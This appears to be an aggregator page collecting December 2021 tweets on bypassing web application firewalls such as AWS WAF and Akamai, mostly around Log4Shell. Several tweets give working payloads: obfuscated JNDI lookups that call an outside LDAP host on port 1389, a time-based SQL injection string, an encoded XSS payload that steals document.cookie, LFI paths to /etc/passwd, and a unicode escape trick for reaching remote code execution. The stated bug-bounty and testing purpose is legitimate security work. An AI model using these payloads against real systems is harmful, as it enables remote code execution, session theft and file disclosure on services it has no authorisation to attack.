AWS WAF , XSS

WAF bypass XSS by norahul1020

Got a AWS WAF bypass for #log4j2. Endpoints to exploit it?? @theXSSrat @HemantSolo @ADITYASHENDE17 ... December 18, 2021

WAF bypass by bararchy

WAF, or in other words, 1 hour of grace before bypass https://t.co/weJOzYndph ... December 17, 2021

WAF bypass by SidiJunior

Problem with WAF? Ideas to bypass? Look this payloads to ur tests: #cybersecurity #pentest #bugbounty #bugbountytips https://t.co/OncqUaE3jB ... December 17, 2021

AWS WAF , LDAP injection

WAF bypass LDAP injection by zapstiko

Previous AWS WAF bypass is patched.. here is another: @11xuxx ${jnd${123%25ff:-${123%25ff:-i:}}ldap://mydogsbutt.com:1389/o} #bugbountytips #LOG4JDO ... December 17, 2021

Akamai , SQL injection

Akamai bypass SQL injection by SidiJunior

Ideas n Tips to ur tests n hunts: Akamai WAF Bypass & SQLi (Bio bellow) 'XOR(if(now()=sysdate(),sleep(5*5),0))OR' #bugbountytips #BugBounty #Cy ... December 17, 2021

Akamai

Akamai bypass by LazySaad

akamai waf bypass Enjoy B: %3Cimg%20sr%u0025%u0036%u0033=x%20o%u0025%u0036%u0065error=aler%u0025%u0037%u0034(documen%u0025%u0037%u0034.cookie)%3E #bug ... December 17, 2021

WAF bypass by LazySaad

I'm looking for website runing akamia waf with unfiltered tags i guess i found a new bypass After test bypass will be published ??? #bugbountytips ... December 17, 2021

AWS WAF , LDAP injection

WAF bypass LDAP injection by simrotion13

AWS WAF bypass ${jnd${123%25ff:-${123%25ff:-i:}}ldap://mydnsserver.com:1389/o} #bugbountytips #log4j #waf ... December 17, 2021

WAF bypass by zapstiko

(1/2) LFI WAF Bypass @TodayCyberNews file:/etc/passwd?/ file:/etc/passwd%3F/ file:/etc%252Fpasswd/ file:/etc%252Fpasswd%3F/ file:///etc/?/../passwd f ... December 17, 2021

WAF bypass by D0rkerDevil

If you are looking to do active scanning of assets for the log4j jndi inject vuln . try out this scanner * New waf bypass payload(s) added https:/ ... December 17, 2021

AWS WAF , LDAP injection

WAF bypass LDAP injection by 11xuxx

Previous AWS WAF bypass is patched.. here is another: ${jnd${123%25ff:-${123%25ff:-i:}}ldap://mydogsbutt.com:1389/o} #bugbountytips #LOG4JDONTRELYON ... December 17, 2021

RCE

WAF bypass RCE by sk4pwn

Tips to bypass a WAF and get RCE with #log4j, if you have a request with a JSON body, replace your "jndi" with \u006a\u006e\u0064\u0069 in this way: ... December 17, 2021

Akamai , SQL injection

Akamai bypass SQL injection by zapstiko

Akamai WAF Bypass & SQLi @K0to4m4tsukami 'XOR(if(now()=sysdate(),sleep(5*5),0))OR' #bugbountytips ... December 17, 2021

Akamai , CloudFlare

Akamai bypass by vaarlion

Tonight, our well working site was down because it was behind cloudflare. another night, it was akamai that had issue... At some point, event driven r ... December 17, 2021

Akamai , AWS WAF , LDAP injection

Akamai bypass LDAP injection by KuruyemisOz

Just bypassed AWS WAF for log4j jndi injection: ${j${k8s:k5:-ND}i${sd:k5:-:}ldap://mydogsbutt.com:1389/o} Anyone who care to share Akamai Bypass? #b ... December 17, 2021

XSS

WAF bypass XSS by hack_git

WAF-bypass-xss-payloads Trying to gather #xss payloads from the internet that #bypasses #WAF. All credit goes to the owners of the payloads. https:// ... December 17, 2021

SQL injection

WAF bypass SQL injection by buaqbot

?? | WAF-Bypass?SQL??????? https://t.co/8pGkKD2Lvi https://t.co/rVezt4EYMJ ... December 17, 2021

wordfence , XSS

WAF bypass XSS by 0x00000000005

Any payload for XSS to bypass wordfence waf? #infosec #bugbounty ... December 17, 2021

WAF bypass by rev3rsesecurity

log4shell WAF bypass contest sulla OWASP CRS sandbox. Chi vuole cimentarsi? ? per la gloria ovviamente... https://t.co/yBf1yQa4PN ... December 16, 2021

WAF bypass by Malli_TheCIP

Muhn I think we really need a bypass road there by ONdangwa.waf?? ... December 16, 2021

AWS WAF

WAF bypass by varseand

Hey, WAFs are bypassable... Both attackers and defenders should know it. They're here to buy some time, increase the bar. I don't understand the hype ... December 16, 2021

WAF bypass by caseyjohnellis

anyone got a WAF bypass for this? https://t.co/YMyg8xCEJ8 ... December 16, 2021

WAF bypass by technodoor

“??WAF?????????(Evasion????Bypass)????????????????????Log4j??????????????WAF?????????????????????????????????????” / “Log4j???????WAF???/??????? ... December 16, 2021

WAF bypass by motikan2010

log4shell WAF Bypass ????? __?(????) > ??????????????????????????????? https://t.co/gqsSKzvEnj ... December 16, 2021

WAF bypass by GarlandTech

Is it better to use an Internal vs External Bypass? Click to learn 5 questions to ask when implementing your next inline IPS, WAF, and firewall tool ... December 16, 2021

WAF bypass by manicode

WAF #log4j challenge ? Who can bypass? https://t.co/Y6BPGYafUi ... December 16, 2021

mod_security

WAF bypass by CoreRuleSet

OK, here is the #CRS #log4j / #log4shell #WAF Bypass contest. We don't know of any jndi/ctx log4j payload that we don't detect. Show us your evasions ... December 16, 2021

Akamai , AWS WAF , LDAP injection

Akamai bypass LDAP injection by Risto_Matti

Just bypassed AWS WAF for log4j jndi injection: ${j${k8s:k5:-ND}i${sd:k5:-:}ldap://mydogsbutt.com:1389/o} Anyone who care to share Akamai Bypass? #b ... December 16, 2021

Akamai , AWS WAF , LDAP injection

Akamai bypass LDAP injection by zapstiko

Just bypassed AWS WAF for log4j jndi injection: @11xuxx ${j${k8s:k5:-ND}i${sd:k5:-:}ldap://mydogsbutt.com:1389/o} Anyone who care to share Akamai By ... December 16, 2021

WAF bypass by d0nutptr

Hey new Log4J <WAF> bypass ${<same exact techniques posted elsewhere with small change in ascii text that actually makes it worse>} ? 1 ... December 16, 2021